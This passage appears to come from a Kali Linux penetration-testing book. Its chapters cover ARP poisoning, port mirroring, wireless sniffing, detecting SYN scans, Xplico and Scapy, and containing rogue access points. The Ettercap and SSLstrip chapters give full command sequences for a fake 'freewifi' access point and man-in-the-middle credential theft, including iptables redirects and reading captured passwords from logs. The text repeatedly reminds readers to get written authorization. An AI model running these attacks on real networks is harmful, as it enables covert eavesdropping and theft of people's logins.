Using ARP Poisoning is one of the best method to create a Man in the Middle attack as now all traffic that is going back and forth between the source and the destination is actully coming through us.

Having all those traffic captured, we can decide if we just want to analyse it, other then capture it, modify it, forward to a different destination, or simple stop the communication between those devices.

Therefore, the final piece to launch such an attack is to click on the menu icon called “MITM” and then select “ARP poisoning”. Once you finished and want to stop ARP Poisoning, click on “Stop MITM attack(s)”.

Lastly, I will ask you again to make sure that you have written authorization for using this method in a live or production environment, as any type of Man in the Middle attack is very dangerous, especially when you manipulate routed traffic through poisoning the ARP tables by feeding fake Mac addresses.

If you are only practicing in your home lab, in a non production environment, that should cause no issue to anyone; still I would suggest you turn off your router and practice with care without any connection to the internet.

Chapter 19 Capturing Traffic with Port Mirroring

For all computer connected to the network to process ARP broadcast packet would be a waste of resources. Instead, the network interface cards of the devices on the network for whom the packet is not destined, recognize that the packet is not for them, so the packet is discarded, rather than being passed to the CPU for processing.

By using promiscuous mode, you can ensure that all the traffic is captured. When operating in promiscuous mode, the network interface card passes every packet it sees to the host processor, regardless of the addressing.

Once the packet makes it to the CPU, it can be grabbed by the tool called Wireshark for analysis. There are three primary ways to capture traffic from a target device on a switched network.

The first one is ARP poisoning, or Man-In-The-Middle attack, which I just shared with you in the previous chapter using them both in conjunction.

The second method to capture traffic from a target device on a switched network is by using a tap. Also known as a “Network Tap” which is a hardware device that you can place between two end points on your cabling system to capture traffic between them.

The third method is Port Mirroring. Port Mirroring or port spanning, is perhaps the easiest way to capture the traffic from a target device on a switched network.

In this type of setup, you must have access to the command line or web management interface of the switch on which the target computer is located.

Likewise, the network switch must support mirroring and have an unused port in which you can plug in your sniffer. You can set up Port Mirroring on most Cisco switches once you have connected to it, using either “SSH” or a console cable.

To enable port mirroring, you issue a command that forces the switch to copy all traffic on one port to another port. But first, you should list the ports on a switch by issuing the command

“show ip interface brief”

If you're not familiar with the Cisco switch commands, no worries too much

as we only going to look at a simple example. Once you have listed the available Ethernet ports, let's say that you want to install your sniffer on port 2 and forward all the traffic from port 1 to port 2.

To begin the configuration commands, you first issue the command

“configure terminal”

of just

“conf t”

Then press enter. Next, you need to specify the source port, which is port 1 for our example, so you start your command by typing “monitor”, followed by a random session number.

The session number could be any number of your choice, and then you specify that it's a source; and finally you enter the port number.

Then you type the destination port number, and this is where your sniffer is sitting. Same command with the same session number, but this time it's a destination and the port number is 2.

The commands you want to type are as follows:

“conf t”

“monitor session 1 source interface GigabitEthernet1/0/1”

“monitor session 1 destination interface GigabitEthernet 1/0/2”

“exit”

“exit”

“write memory”

To verify your monitoring session, you can type the command “show session” followed by the session number, in this case 1 as follows;

“show session 1”

The output will show you that the source port is GigabitEthernet number 1, and the destination port is GigabitEthernet number 2. After these steps, all traffic will be forwarded from port 1 to port 2.

Chapter 20 Passive Reconnaissance with Kali

Anybody can listen to the wireless signals that are going over the air. When you listen to wireless signals, you can tune your radio to listen for specific traffic that's going to and from a client, or to and from an access point or you can just listen to everything and then filter out what you want to listen to at a later time.

Just like as if you put your hand up to your ear to help you hear better or maybe a glass up to the wall to hear the conversation on the other side of the wall, with wireless, you can use a directional antenna to collect more signal strength from a given direction.

What that means is that I can be some distance away from the access point or from your client, and still be able to capture traffic over the air. What that means is that you don't know that I'm eavesdropping on your traffic.

But how can I listen and capture traffic? Well, I am listening by tuning my radio to the frequency channel, collecting all of the signals, processing those signals up my protocol stack, and then displaying them with a packet analyzer tool such as Wireshark.

Listening over the air is one of the best ways to do passive reconnaissance. Passive reconnaissance is when you're gathering information about a network, corporation or an individual, but you're not actively engaging with the system, the network or with the individual.

You might be gathering information such as what is the manufacturer of their access points? What are the MAC addresses that are being used by the clients? What security mechanisms is a particular company uses? What are the network names? Do they have guess access set up on these access points? Do they have hidden network names?

By information gathering, as you're starting to form a picture of the deployment, so then you can go on to the second phase when you're starting to plan how you're going to attack the network.

Through the passive reconnaissance phase, you'd be writing down and forming a network map where the access points are deployed, writing their names down and creating a blueprint of deployment and identifying any weaknesses that the network might have. If a hacker is going to try and

access an enterprise network, wireless has to be one of the top three approaches for uncovering information in order to plan that attack.

To capture and display traffic going over the air you need a tool called Wireshark. You can download Wireshark form their website listed previously, or you can use the tool that's already available in Kali Linux.

To do it within Kali Linux, we're going to follow a four step process. The first thing we're going to do is to put our wireless adapter into monitor mode. That's going to enable our adapter to sniff everything over the air, capture everything, and pass it up to the Wireshark application to be displayed and then we can analyze those packets.

We can select everything over the air or we can look for traffic from a specific BSSID or on a specific channel. Once we've selected the BSSID and/or the channel, then we can open Wireshark, select the monitoring interface that we have set up for our wireless adapter and start capturing data. Once we've capture enough data we can save that packet capture to then analyze at a later time.

The first thing we want to do is to put our adapter into monitor mode. In the previous chapter we already discussed how to do that, but you can check to make sure that your wireless interface is still in monitoring mode by typing:

“iwconfig”

This will allows you to see what mode your wireless interface is in, but if you haven’t done any other changes then we have discussed so far, your wlan should be still in Monitoring mode.

There are a number of ways to enable monitor mode such as using

“iwconfig”

but that method does not work for all adapters. This method does not work for all adapters so if you tried enable in monitor mode using the above command and it's failed, or if it worked but then the adapter did not behave as expected when using it, then a good idea is to try to enable monitor mode using a different method.

For example if your wireless adapter is in “Managed mode” and don’t know how to get it into “Monitoring mode”, the fix is easy.

The first thing that you can do is disable the interface by typing

“ifconfig lan0 down”

Now you can go ahead and enable monitor mode, but before doing that it’s good to kill any process that can interfere with using the adapter in monitor mode. To do that we have to use a tool called “airmon-ng” Type:

“airmon-ng check kill”

Here we're going to tell Kali that we want you to check all the processes that can interfere with monitor mode, and if you find anything, we want you to kill those. Very simple command.

Airmon-ng is in the name of the program. “Check” means check any processes that could interfere with in monitor mode. “Kill” means to kill the processes if there are any.

If you hit enter, you'll see that it will kill a few processes and you'll notice that the network manager icon disappears. This is because this command kills it and you will lose your internet connection if you were connected, but that's fine because you'll lose your internet connection anyway if you enable monitor mode.

By doing this, it makes the adapter work better in monitor mode. Now you are ready to enable monitor mode, and instead of using the command

“iwconfig”

You can use:

“airmon-ng start wlan0”

Once again, airmon-ng is the name of the program that we're using to enable monitor mode. “Start” means we want to start monitor mode, on an interface called “wlan0”

Now, if your wlan interface is is not zero, but 1 or 2, you want a place the right number where I reference the zero with the number of your wireless interface. Once you hit enter, you will get a message telling you that monitor mode is enabled on wlan0.

Now if you type

“iwconfig” you will see that the interface called “wlan0” has disappeared. You no longer have an interface called “wlan0” and instead, you have a new interface called “wlan0mon” but if you look at the mode of this interface,

you'll see that it's in “monitor” mode.

After that whenever you want to use a program that requires monitor mode, make sure that you set the interface to “wlan0mon”.

In case you have tried to enable monitor mode using the command

“iwconfig”

and that didn't work and then you tried this method too, and still didn't work, then chances are that your adapter does not support monitor mode because not all adapters support monitor mode. Therefore you have to check the chapter on recommended adopters.

Moving on, once your interface is in Monitor mode, you should be capturing traffic over the air. Once you have enough data has been collected, it’s time to display them.

Within Kali Linux, go into Applications, down to Kali Linux Top 10 Security Tools, and there's Wireshark. Click on that tab, and brings up the Wireshark application listing your interfaces.

Select your wireless interface, in my case is wlan0mon, and click Start to see the capture data. If you look at the captured packets, you should see that there are a combination of requests to send, clear to send, a beacon frame, and some user data.

Now you can save all these data by clicking on “Save” or “Save As” and you can take it away and analyze it at a later date. It is that easy to capture information over the air.

Chapter 21 Capturing SYN Scan Attack

The TCP SYN Scan relies on the 3-way handshake process to determine which ports are open on a target host. The attacker sends a TCP SYN packet to a range of ports on the victim, like it’s trying to establish a channel for normal communication on the ports.

When a SYN scan is executed, the attacker will be looking for three states. Either the port is open, closed, or filtered. Normal TCP handshake works like this.

First, a SYN packet will be sent, then the server will reply with a SYN/ACK and finally, the client will send an ACK packet.

Now let's take a look at the Open Port scenario. If a service on the victim's machine is listening on the port, that receives the SYN packet, and it will reply to the attacker with a TCP SYN/ACK packet, and then the attacker knows that the port is open and a service is listening on it.

For the Closed Port scenario, if no service is listening on a scanned port, the attacker will not receive a SYN/ACK packet. Depending on the configuration of the victim's operating system, but the attacker could receive a reset packet in return, indicating that the port is closed.

Lastly, for the Filtered Port scenario, the attacker may receive no response at all. That could mean that the port is filtered by an intermediate device, such as a firewall, or the host itself.

On the other hand, it could just be that the response was lost in transit. In this scenario, imagine that you have three hosts; the attacker which is going to use Kali Linux at 10.0.0.111, the victim machine will be a Windows 10 host at 10.0.0.202, finally the penetration tester will use Kali Linux to intercept all the traffic and analyse any attacks on the network.

Imagine yourself that you are the attacker. First, the hacker is going to execute a port scan against your victim Windows 10 machine, and he is going to use nmap to scan the Windows host at the IP address of 10.0.0.202. The command will be used here is:

“nmap 10.0.0.202”

From the attacker perspective, the scan is complete, but he doesn't know that

a penetration tester is listening at this moment on the network.

If you switch to the penetration tester machine and try to catch this intruder, the best ways to understand the scope of a scan is to view the conversations window in Wireshark.

Up in the Wireshark menu, select the “Statistics” item, then click on “Conversations”, and then select the “IPv4” tab.

There, you should see only one IPv4 conversation between the attacker at the IP address of 10.0.0.111 and the victim at the IP address of 10.0.0.202.

You will also see that there are thousands of TCP conversations between these two hosts. Basically, a new conversation for every port involved in the communications, which is a lot.

Once understanding the different types of responses a SYN scan can produce, the next logical thought is to find a fast method of identifying which ports are open or closed.

The answer lies within the conversations window. Once again, click on the “TCP” tab. In that window, you can sort the TCP conversations by “packet number” with the highest values at the top, by clicking the “Packets” column twice.

Then you should click on “scanned ports” and include 3 packets in each of their conversations. You can take a look at the details of the first packet in the list by clicking on the “Follow Stream” button, then close this window, and minimize the conversations window.

Back in the main window of Wireshark, you should see the initial SYN packet sent from the attacker machine, and then the corresponding SYN/ACK packet from the victim's host and the final reset packet sent from the attacker's host to end the conversation.

If you switch back to the “Conversations” window, you can also have some other scenarios where only 2 packets involved in the communication.

If you check the details again, check the first initial SYN packet and the second that is the reset from the victim, which indicates that this port is closed.

If the remaining entries in the “conversation” window include only one packet that means that the victim host never responded to the initial SYN

request.

Chapter 22 Traffic Capturing with Xplico

We can launch a Man in the Middle attack in multiple ways, either by using Burp Suite or EtterCAP; but we have never discussed how we can collect the data and analyse them and what tool we may use for that purpose.

We have discussed a software called Wireshark previously and how we can capture data with it, yet there is another utility that we can use for the same purpose called “Xplico”.

Xplico can take Wireshark files as well and analyse them for you. Wireshark also has the ability to do a direct feed into Xplico therefore we can capture all the traffic and it can give another great view of what is happening within that session that we are eavesdropping on.

Xplico also comes as a default built in tool within Kali Linux. To launch the Graphical User Interface you can follow the menu options as:

Kali Linux > Forensics > Network Forensics > xplico web gui

Once you have selected the mentioned menu options, it will launch a webserver on Kali. If the Apache webserver is not running yet, you normally have to start it manually; but if you do use your Kali machine, it will automatically start it for you.

If Apache is already running in the background, Xplico will use that server function to launch itself. Next, it would tell you to use a specific URL to open Xplico, using a webserver.

You might choose to click on the provided link to open Xplico, or you can just copy and paste the address to yor browser session. The link is: http://localhost:9876/

Another method to launch Xplico is to right click on the provided link, then select Open Link, and it would open it within the default browser; but it’s fair to mention that some of the menu functions do not always work within the default browser.

I would therefore suggest you to use Firefox browser by copy pasting the provided link. Next, Xplico would open up a web based Graphical User Interface that would require you to be logged on using the following details:

- Username: xplico

- Password: xplico

Once logged on as xplico, to analyse the data that you have previously captured on the network interface ethernet0, you need to create a new case by clicking on a menu option: Case > new case > Live acquisition.

If you want to analyse an existing file that you have saved previously, you can choose to click the radio bar called: “Uploading PCAP capture file/s”

Once you create a case, you can name it whatever project it is you are doing, then you can create multiple sessions within each project and start to view them.

Xplico will provide clear visibility of any website, Images or videos that the victim has visited, either as a live capture format or by replaying them at any other date at any time.

Likewise, we can capture VOIP (Voice over IP) traffic, that we can also spoof, delete or listen to at any time in the future. Xplico is more then just a data capture tool, but due its power it is also known as a very good hacking tool.

Chapter 23 MITM Attack with Ettercap

In this chapter we're going to discuss how to use Ettercap to capture credentials, specifically usernames and passwords from a target using HTTP and FTP.

This is possible if the target is using two unencrypted protocols such as HTTP and FTP. In the setup we have a Linux and a Windows 10 system, and we're going to use Ettercap to put ourselves in the middle between the default gateway which is the Windows host machine.

To get the default gateway address you have to type in a terminal;

“ip route”

In my case the default gateways is 192.168.100.1, but whatever address you have, this is the main information that you need to know for Ettercap to work.

Technically you can put yourselve between everybody on a subnet and the default gateway or individual target if you want to. In this scenario we'll put ourselves between everyone and the default gateway.

First within Kali Linux, go to “Applications”, then scroll down and select “Sniffing and Spoofing” then select “Ettercap-g”. This is the GUI for Ettercap. Once the GUI is open, select “sniff” then select “unified sniffing” and this will bring up the next window.

In the new window that is now open called “ettercap Input” it will ask you what network interface you want to sniff on. There is only one NIC, or network interface card on our Kali machines which is what unifies sniffing.

Therefore whatever interface is shown, you should go with that, so select “ok” Next, before we put ourselves in the middle with Ettercap, we have to configure out the target. To do this, select “hosts” then “scan for hosts”.

This will scan the subnet that your target is located. You can only put yourself in the middle on a given subnet with “arp poisoning”, which is what we're going to use.

Once the scan completed, go back and select “hosts”, then “hosts list” and in the new window, you should see IP Addresses that the previous scan found. Here, you should also find the IP Address of your default gateway, which in my case is 192.168.100.1.

Now you have to create targets, so if you click on the IP address of 192.168.100.1 or whichever IP address is your default gateway, then select “Add to Target 1”.

Next, if you have more IP Addresses listed, you want to target them too, so once again, you can highlight them by clicking on them, and then click on “Add to Target 2”.

Once you have selected your targets, go to the top window, then select “Mitm” this refer to “man in the middle” then you can select “arp poisoning”. Once you have selected these, there is a new window will popu, you you should tick “Sniff remote connections” and click “ok”

If you are in the middle, or I should say if the Kali Linux machine is in the middle between the Windows 10 machine and the default gateway, the MAC address for IP address 192.168.100.1 should be the MAC address of the Kali Linux machine. To verify that, you should go to the Windows 10 machine’s command line, and type:

“arp- a”

Arp stands for Address Resolution Protocol, and what it does, is that it translates Mac Addresses to IP addresses, and once you use that command on Windows, you should see the list of IP Addresses and next to each their associated MAC addresses.

By the way, make sure you are not confused, as Windows references IP Addresses as “Internet Addresses” and references MAC addresses as “Physical Addresses”

As you see “Physical Addresses” technically wrong because using Ettercap you just changed the Mac Address of your default gateway, but to be 100% sure, you can also verify the Kali Linux mac address.

To do that, go back to Kali Linux terminal, and type:

“ifconfig”

And within the output this command shows you, search for the term “ether” which references the MAC or “physical address” of your Kali Linux Ethernet address.

Once you verified and the Kali ether address is the same as the Windows default gateway, you know that you are in the middle with Ettercap. Now the

good thing about Ettercap is when you're in the middle that's pretty much all you have to do is run it.

Within your Ettercap window, down at the bottom if it sees any credentials passed in clear-text, it'll capture them to that window. Within the Ettercap window you will see the username next to “USER” and the password next to “PASS”.

It will just pop up on the left side automatically, so don't have to do a whole lot. For example you don't have to sit there and look at all the traffic like with Wireshark, as both the username and password just pops up.

Ettercap captures any username and password if unencrypted protocols are used, therefore instead of HTTP, HTTPS should be user, wheras, instead of FTP, you should use SFTP, or SCP to transfer files.

The end user never notices while you are in the middle because there are no warning banner that pops up to the user, so they won't notice if you do a layer2 man-in-the-middle attack with Ettercap.

Lastly, I will ask you again to make sure that you have written authorization for using this method in a live or production environment, as any type of Man in the Middle attack is very dangerous.

Chapter 24 MITM Attack with SSLstrip

In this chapter I'm going to teach you how to create a fake access point on a Kali Linux virtual machine. To complete this attack you will need to have a USB network adapter that supports both monitor mode and master mode.

If you don't have a USB network adapter that supports these networking modes the network adapter that I highly recommend is the Alpha that I have talked about earlier. It only cost about $50 and you can pick one up from Amazon as well as a few other places.

Before we begin I want to explain how this attack works. To illustrate it let me give you a high-level overview of how this attack works. The main components include the victim, the attacker, the fake access point and a router with an internet connection.

What's happening, is the attacker is connected to the Internet, and the attacker is going to share that internet connection through a USB network adapter which is acting as a fake access point.

When someone connects to that fake access point, they'll be able to access the Internet. Let me walk you through this process. The first thing that's going to happen is the victim is going to connect to the fake access point, then the victims internet traffic will be routed through the fake access point into the attacker.

Once the attacker obtains the victims Internet traffic, the attacker will manipulate and log the victims internet traffic with SSL strip and this is going to allow the attacker to force the victim to use HTTP, which as a result is also going to allow the attacker to capture any usernames and passwords that the victim enters.

Once SSL strip is finished manipulating and logging the victims internet traffic, the attacker will forward the victims internet traffic to the router. Finally, the router will route the victims Internet traffic to whatever website the victim is attempting to communicate with.

What we do here, is that we place ourselves between the victim and the web site so as a consequence, we can see any interactions that are occurring between the victim and the web site, and this is also referred to as a man-in-the-middle attack.

That concludes the explanation, so let's go ahead and get started with the attack. The first thing that we need to do is connect to the internet, and we're going to accomplish this by sharing our host operating systems internet connection with our Kali Linux virtual machine.

This is essentially a bridged or a wired network connection and I've chosen to do it this way so I can eliminate the need for a second USB network adapter, but keep in mind if you do have a second USB network adapter, you can use it to connect to the internet directly from your Kali Linux virtual machine.

Instead, I am going to us the method that I'm about to share with you. Let's go ahead and logon to our host operating system. It does not matter what type of computer you are running your Kali Linux virtual machine on as long as you can use it to connect to the Internet.

First, go ahead and open the network settings or whatever network management application your operating system uses. I can access mine from the top menu bar and then let's find a wireless network to connect to.

Keep in mind you can connect to any network that you'd like to as long as it has an internet connection and if you're mobile you can tether to your Android or your iPhones that uses a 4G USB modem, a mobile hotspot or whatever means of an internet connection you have.

Once connected to the internet on your host operating system, you need to share it with our Kali Linux virtual machine.

So now, go ahead and move over to our Kali Linux virtual machine, and in the top menu bar you need to open the virtual machine menu, and then expand the network adapter menu.

If you have multiple network adapters, use the one at the top. It should be called network adapter and it should not have any numbers following it.

Here, we need to make sure that we've set our network adapter to use bridged auto-detect and this is going to allow us to obtain an IP address and an internet connection from the router that our host operating system is connected to.

Once you've made that setting, you can go ahead and allow the virtual machine menu to collapse and now we can use that virtual network to establish an internet connection.

Next, let's open up our network manager, by the way, you can use whatever network manager you have, and here, you need to find the option that says “Wired Network” and then click “connect”.

If you're using the default network manager you should be connected automatically, but if you are not, you may need to reboot your virtual machine and you should be given a connection.

If you're still experiencing issues, I recommend installing the “Wicd” network manager. Moving on, now that we have an internet connection, we need to find our gateway IP address and make note of it.

Let's go ahead and close the network manager, and let's open a terminal where you need to type:

“route space –n”

and then press ENTER, and go ahead and find your gateway IP address. In my setup it is 192.168.0.1, and we need to make note of this because we're going to use it in a future command.

You can open a notepad or if you want you can use a piece of paper whatever is convenient for you and write down your gateway IP address. Now that we've made note of our gateway IP address, we need to install DHCP server.

Back into the Kali terminal, we're going to type;

“apt-get install dhcp3-server”

and then press ENTER. Just be patient and allow it enough time to finish installing the DHCP server, and once the installation is complete we need to configure our DHCP server.

Back to the terminal, let's type;

“nano /etc/dhcpd.conf”

and then press enter, and you should have a blank DHCP D configuration file. If it isn't blank for some reason, just go ahead and delete all of the contents and when you're ready let's start adding our settings.

First we need to type:

“authoritative;

and then press ENTER and move down a line, and then type;

“default-lease-time 600;

and then press ENTER to move down a line, and type;

“max-lease-time 7200;”

and then press ENTER to move down a line, and then type;

“subnet 192.168.1.0 netmask 255.255.255.0 {

Above after space, it’s called “forward facing curly bracket” and then press ENTER, and move down a line and then type;

option routers 192.168.1.1;

and then press ENTER to move down a line and type;

“option subnet-mask 255.255.255.0;”

Then press ENTER and move down a line, and type;

“option domain-name “freewifi”;

Then press ENTER and move down a line and type;

“option domain-name-servers 192.168.1.1;

and then press ENTER and move down a line and type;

“range 192.168.1.2 192.168.1.30;

}

and then press ENTER to move down a line and then enter a backwards-facing curly bracket. That's everything we need to enter. Once again, your configuration should look like this:

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name “freewifi”;
option domain-name-servers 192.168.1.1;
range 192.168.1.2 192.168.1.30;

}

Next, you need to save the changes that we've made, so press the “ctrl + x” keys and then to save the file. You need to press the “Y” key and then to write the file and close it.

You need to press ENTER, and now we need to find the name of our USB network adapter, so go ahead and connect your USB network adapter if you haven't already done so, and in the terminal we need to type:

“airmon-ng”

and press enter, and you should see the name of your network adapter listed below. Mine is called “wlan0” yours will probably something similar. Now that we know the name of our network adapter, we need to start monitor mode so let's type;

“airmon-ng start wlan0”

and then press enter, and give it a moment to create a monitor interface for you. A message will popup there to say that a monitor interface has been created and it's called “mon0”.

Now we need to create our fake access point so let's type;

“airbase-ng –c 11 -e freewifi mon0”

For “mon0” you have to enter the name of your monitor interface. In mine case is “mon0” then press enter and now that our fake access point is up and running we need to make some adjustments to our tunnel interface which is an interface that “airbase” automatically created for us when we started our fake access point.

Therefore let's open a new terminal, but do not close the terminal that we're running an airbase in, because we need it to continue operating. In the new terminal, we're going to type;

“ifconfig at0 192.168.1.1 netmask 255.255.255.0”

and then press enter. Now we need to adjust the MTU which stands for maximum transmission units. What MTU does is that it allows our tunnel interface to transmit larger packets so that we can prevent packet fragmentation.

In the simpler terms, this allows our fake access point to manage higher

volumes of Internet traffic, which is generated by anyone who connects to our fake access point. In the terminal, let's type;

“ifconfig at0 mtu 1400”

and then press Enter. Now we need to add a routing table, so let's type;

“route add -net 192.168.1.0 netmask 255.255.255.0 GW 192.168.1.1”

and then press Enter. Now we need to enable IP forwarding and create some IP tables rules so that we can use our tunnel interface to route traffic between our fake access point and our internet source. Therefore, we need to type;

“echo 1 > /proc/sys/net/ipv4/ip_forward”

and then press Enter. Now we need to enter our IP tables rules so let's type;

“iptables -t nat --A PREROUTING -p udp -j DNAT --to 192.168.0.1”

Here, we need to enter the gateway IP address that we made note of earlier, and mine is 192.168.0.1 then press ENTER. Now we need to type;

“iptables -P FORWARD ACCEPT”

The words, forward and accept are should be typed in with all uppercase, and then press ENTER. Now we need to type;

“iptables --append FORWARD – in-interface at0 -j ACCEPT”

and then press Enter. Now we need to type;

“iptables –table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE”

and then press Enter. Finally, we need to type;

“iptables -t nat –A PREROUTING -p tcp –destination-port 80 -j REDIRECT --port 10000”

and then press Enter. Now that we've created our iptables rules, we need to start our DHCP server. So let's type;

“dhcpd –cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0”

and then press Enter. Then type;

“/etc/init.d/isc-dhcp-server start”

and then press enter, and you should see there that the DHCP server started successfully. Basically, it should say:

“[….] Starting ISC DHCP server: dhcpd”

Now it's time to start the SSL strip, so let's type;

“sslstrip -f -p -k 10000”

and then press enter. Last but not least, we need to start edit app so let's open a new terminal but do not close the terminal that we're running an SSL strip in. In the new terminal we're going to type;

“ettercap -p -U -T -q -i at0”

and then press Enter. Now that we have SSL strip and ettercap running, we are finished setting up the attack. Now we can simulate a victim so we can use our fake access point to capture some usernames and passwords.

So now if you jump over to the victim’s computer, the first thing you can do is connect to the fake access point. Open the network manager, and scan nearby wireless networks, and you should see there our fake access point called “freewifi”

Go ahead and connect to it and assuming that we set everything up correctly you should have an internet connection. Check and see if you have an assigned IP address from the DHCP pool that we have created before.

In the example I have provided, we have created a DHCP server that can assign IP addresses to connected devices, and we have created a range between 192.168.1.2 to 192.168.1.30 with the command

“range 192.168.1.2 192.168.1.30”

Under the DHCP configuration. So your victims IP address should be within that range. As a victim, you can log into your Facebook page and you will find out if SSL strip is working or not.

You can use either Firefox, or Google Chrome, and you will see that either if you try to type in the browser https://www.facebook .com, it will change the address to www.facebook.com

This means that the SSL strip is working and if you look at the top left tab in the browser, you'll notice a lock icon.

This is an icon that SSL strip places there to add a little legitimacy and this prevents the victim from becoming too suspicious, because they see this lock and automatically assumed it must be secure.

So, next go ahead and enter an email and a password into facebook. You use

use a fictitious username and password such as “testuser” and use the password “password123”.

It doesn’t matter what username or password you use, as you the point is not for you to log on to facebook, but the fact that we can capture both the username and password credentials.

Before you click login, go back over to the attacker machine and let's monitor at the ettercap terminal. Now you can go ahead and click login on facebook, and if you look at the ettercap terminal, you should see data coming through.

You should notice both the username next to the field “USER” and the password next to the filed “PASS”.

If you would try the example with an online banking website, it is highly likely that the username and password is not going to appear in the ettercap terminal, but it will appear in the SSL strip logs.

You can try to log into accounts and you will not see the username and password in the terminal, but SSL strip will grab them and placing them into a log.

So, go ahead and move back over to the attacker computer, and here you need to open a new terminal and type;

“cat sslstrip.log”

and then press Enter. Now, you should see both username and password.

The user details will appear in the logs as “userId=username” and the password will appear as “auth_passwd=password”

Those are all the examples that I wanted to share with you but keep in mind that this attack is expandable.

For example there is a tool called “karma” and what this does is when a computer is looking for a wireless network to connect to specifically a wireless network that is connected to in the past, it sends out probe requests.

Well, we can create something that will allow us to accept those probe requests and then spoof the wireless network that the person is looking for.

When it responds, they're going to think that they found that wireless network and their computer is going to automatically connect. There are many things

you can do with this but for now it's time to move on to the next attack.

You can close the terminal that we use to view the SSL strip log. Then to stop ettercap, you will have to press the ctrl and C Keys and then you can close that terminal.

Then to stop the SSL strip you can press ctrl + C to close terminal. To stop your fake access point, also press ctrl + C in the kali window, and then close the terminal.

All those iptables rules that we have created, they will automatically be restored back to the default when you reboot your virtual machine.

Please make sure you have written authorization before using SSLstrip, including any variations related to this tool. If you are only practicing in your home lab, in a non production environment, that should cause no issue to anyone; still I would suggest you turn off your router and practice with care without any connection to the internet.

Chapter 25 Packet Manipulation with Scapy

Scapy is an advanced packet manipulating tool that is not revommended for beginners to play with. Yet, it's fair to mention that this tool exists and certainly can act like the King of all hacking tools out there.

Scapy can assist you to craft virtually any packet that you want to, without any problem. Imagine that you are about to administer and validate a configuration on a Firewall, and one of the policies dictates that you implement the following rule:

"Any packet initiated from inbound direction to outbound direction are not allowed, so should be denyied if the destination IP address is the same as the source IP address."

This Firewall Rule Request of course makes perfect sense but it also sounds a little unrealistic. Just think about how it it possible that a PC sends a request from it's own IP address to the outbound direction where the destination IP address would be the exact same identical IP address as the sender's PC.

That's impossible right?

Well, technically it is possible, because this could be a malicious packet.

Someone may be about to run some port scan within the organization to gain data on networking devices and their vulnerabilities to launch a strategic attack, that could potentially damage, disable, clone or even shutdown the whole system, and it would seem that the it was originated from inside private network.

So how is that possible? Well, the tool is called Scapy. Scapy is very likely the most powerful and flexible packet manipulation tool that is built into Kali Linux, written by Phyton.

Using Scapy, by opening the command line interface we can launch it and create a packet, and the best part is that we can specify virtually anything:

- Any source IP address,
- Any destination IP address,
- Type of service,
- We can create IPv4 Address or IPv6 Address,
- Change any of the header field,

- ➢ Change the destination port number,
- ➢ Change the source port number and more.

In addition, to craft a unique packet, Scapy is also able to:

- ➢ Capture any Traffic,
- ➢ Play or replay any traffic,
- ➢ Scan for ports,
- ➢ Discover networking devices and more.

Scapy works in Kali Linux, and to launch it on the command line interface by typing:

“scapy”

Then press enter. Because there are so many possibilities with scapy, let’s begin by starting something straight forward and that would be a basic send command:

“send(IP(src=’’10.10.10.20’’ ,dst=’’10.10.10.2’’)/ICPM()/’’OurPayload’’#)”

What this packet creation command means here is that, I want to send a ping from the source IP address of 10.10.10.20, to the destination IP address of 10.10.10.2.

Additionally, I want this packet to look like an ICMP echo request, but I want it to include a Payload that is called OurPayload. Scapy is a rule breaker.

Therefore, we don’t have to do anything exactly as it should be according to proper networking protocols, instead we can create packets that logically would never be found in the network.

By sending crafted packets to multiple destinations, we could just wait for the responses and take a look at them and see if we might have created some weird behavior, and we could discover a vulnerability in this process.

To exit from Scapy, you have to press “Ctrl+d” and that would take you back to a normal command prompt. But, if you want to initiate another command you must start Scapy again by typing a command;

“scapy”

Then press enter. Another command that is very dangerous, is when we turn

Scapy to become a sniffer. If you type;

“sniff(iface=’’eth0’’, prn=lambda x: x.show())”

Then press enter, this means that I want you to sniff all traffic that goes through the interface ethernet0, and I want you to display every single packet as it comes and goes through you.

After you press *enter*, the output would propably fill this book; but I wanted to share with you that Scapy is not only capable of crafting packets, but it can become an intruder or sniffer if we wanted to.

Lastly, I will ask you again to make sure that you have written authorization for using Scapy in a live or production environment.

If you are only practicing in your home lab, in a non production environment, that should cause no issue to anyone; still I would suggest you turn off your router and practice with care without any connection to the internet.

Chapter 26 Deauthentication Attack against Rogue AP

There are many different techniques to contain a rogue access point in a wireless network and in this scenario; we are going to use WLC to do it. But before thinking about containing a rogue access point, first we have to identify it. Once again, there are several ways to identify a rogue access point, and we already discussed some of them, so instead imagine the following scenario.

Imagine that you are using a channel analyser to identify potential interferers, in an environment where there are several SSIDs broadcasted, but one of them is using an open authentication, while the rest of the SSIDs are all using WPA2-Enterprise for Security.

Well, it's very likely that if this is a corporate infrastructure what we would be looking at is some access point that is a rogue device that's trying to lure in some customers.

If someone in your environment whether it's an airport or at your corporate network, if they're emulating or spoofing your SSID trying to lure people in, it's very likely malicious.

Secondly, if we have a customer who associates with this rogue access point and starts using it then the attacker who has that rogue access point can now perform a man-in-the-middle attack and eavesdrop on all traffic.

So here's what we're going to do. We're going to use a Wireless LAN Controller also references as “WLC” because the WLC knows exactly which access points it manages.

The good thing is that these access points they are not by default just sitting there servicing their customers on their respective channels, but they're also periodically scanning the other channels, gathering information which they feed back to the wireless LAN controller.

Part of that information it gathers is information about access points that they see. When the wireless LAN controller sees an access point that it doesn't manage, it isn't part of the wireless controller family, it's going to classify that access point as “rogue”.

Thus our very first step inside the WLC is to take a look and see if the controller knows about any rogue access points, and after we find that access

point, we'll take the next logical step, and that is to contain it from the controller.

On the WLCs main page the “monitor” page in the upper right hand corner it's going to show us the details regarding active rogue access points under “Rogue Summary”

If you use a WLC, you might see several devices listed in there and ask; well how comes there are so many rogue access points? There might be several reasons to this. For example your WLC might see 10 or even more Rogue access points, and they might be all completely legeit, is just that your WLC is not managing those, therefore classifies them as rogue.

All those other broadcasted SSIDs that are being seen by one or more of those access points that the WLC manages and it's being reported back to the controller and that's why the controller puts them in the category of rogue.

It simply doesn't know who those devices are. To take a look at the details of these rogue access points, we simply click on the “detail” link and what we're going to see is the list of Access points including their mac addresses, SSIDs, Channel they are using, how many radios they are using, how many clients are connected to them.

To learn more about the device, we can click on it’s mac address, and it will take us to the “Rouge AP Detail” window. Here, if we look at the details of that access point we can the MAC address of the device, the first time it was seen by the WLC, the last time was reported to the WLC, and down below, near the bottom there are the access points that are reported it in the first place.

